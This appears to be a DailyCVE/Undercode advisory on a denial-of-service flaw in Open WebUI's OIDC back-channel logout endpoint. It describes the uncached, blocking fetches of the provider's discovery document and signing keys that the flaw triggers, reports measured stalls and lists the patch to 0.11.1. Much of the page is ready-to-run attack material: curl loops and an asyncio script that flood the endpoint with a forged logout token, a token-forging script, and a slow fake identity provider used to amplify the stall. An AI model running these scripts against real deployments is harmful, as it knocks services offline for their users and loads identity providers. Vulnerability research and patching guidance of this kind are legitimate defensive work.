Open WebUI, OIDC Back-Channel Logout Denial of Service, CVE ID: Not Provided (Severity: Not Stated) -DC-Sep2026-2354

Listen to this Post

The OIDC back-channel logout endpoint accepts logout tokens from an identity provider.
It is unauthenticated by design because the provider calls it without a browser session.
In affected Open WebUI releases, the handler does network work before verifying the token.
It fetches the provider discovery document for every incoming request.
It then fetches the provider signing keys for every incoming request.

Nothing caches the discovery document between requests.

Nothing caches the signing keys between requests.

The signing-key fetch is synchronous and blocks the async event loop.
A worthless token can trigger this work before rejection.

No account, credential, session, or secret is needed.

The attacker only needs network access to the instance.

The attacker also needs the configured issuer string.

The issuer string is published in the provider discovery document.

ENABLE_OAUTH_BACKCHANNEL_LOGOUT=true is required.

The default is false, so stock deployments are not affected.
Hardening documentation recommends enabling it, so the issue is in scope.

At least one OIDC provider must be configured.

Configuration uses OAUTH_CLIENT_ID, OAUTH_CLIENT_SECRET, and OPENID_PROVIDER_URL.

The endpoint is POST /oauth/backchannel-logout.

The affected code is backend/open_webui/utils/oauth.py.

Affected releases are 0.9.0 through 0.11.0.

With a 150 ms provider, 60 concurrent requests stalled the loop for 8.3 seconds.

Idle event-loop baseline was 10.8 ms.

Open WebUI runs a single worker by default.

The stall is instance-wide, not per-connection.

No rate limit sits in front of the endpoint.
The same traffic amplifies load onto the identity provider.
20 sequential requests caused 20 discovery fetches and 40 key-set fetches.

No data is read, modified, or exposed.

The forged token is still rejected, but the cost is paid before rejection.

DailyCVE Form:

Platform: Open WebUI
Version: 0.9.0-0.11.0
Vulnerability: OIDC logout DoS
Severity: Not stated
date: Not provided

Prediction: Patch date unknown

(end of form)

What Undercode Say:

Analytics:

curl -sS -o /dev/null -w "%{http_code}\n" \
-X POST 'http://target:8080/oauth/backchannel-logout' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'logout_token=eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA'
seq 1 20 | xargs -I{} curl -sS -o /dev/null \
-X POST 'http://target:8080/oauth/backchannel-logout' \
--data-urlencode 'logout_token=eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA'
import jwt
token = jwt.encode(
{
"iss": "https://idp.example",
"aud": "openwebui",
"login_token": True,
"exp": 9999999999,
},
key="",
algorithm="HS256",
headers={"kid": "missing-key"},
)
print(token + ".AAAA")
from http.server import BaseHTTPRequestHandler, HTTPServer
import time
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(self.path)
time.sleep(0.150)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{}')
HTTPServer(("127.0.0.1", 9000), Handler).serve_forever()

Exploit: (Educational Purposes!)

seq 1 60 | xargs -P60 -I{} curl -sS -o /dev/null \
-X POST 'http://target:8080/oauth/backchannel-logout' \
--data-urlencode 'logout_token=eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA'
import asyncio
import aiohttp
url = "http://target:8080/oauth/backchannel-logout"
token = "eyJhbGciOiJIUzI1NiIsImtpZCI6Im1pc3Npbmcta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlIiwibG9naW5fdG9rZW4iOnRydWUsImV4cCI6OTk5OTk5OTk5OSwiYXVkIjoib3BlbndlYnVpIn0.AAAA"
async def hit(session):
await session.post(url, data={"logout_token": token})
async def main():
async with aiohttp.ClientSession() as session:
await asyncio.gather([hit(session) for _ in range(60)])
asyncio.run(main())

Protection: from this CVE

pip install -U open-webui==0.11.1
ENABLE_OAUTH_BACKCHANNEL_LOGOUT=false
0.11.1
Use configured OAuth client
Fetch discovery once per provider
Fetch JWKS once per provider
Make both fetches asynchronous
Reject missing kid before key lookup

Impact:

Instance-wide DoS
No data exposure
Outbound provider load
Forged token rejected

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top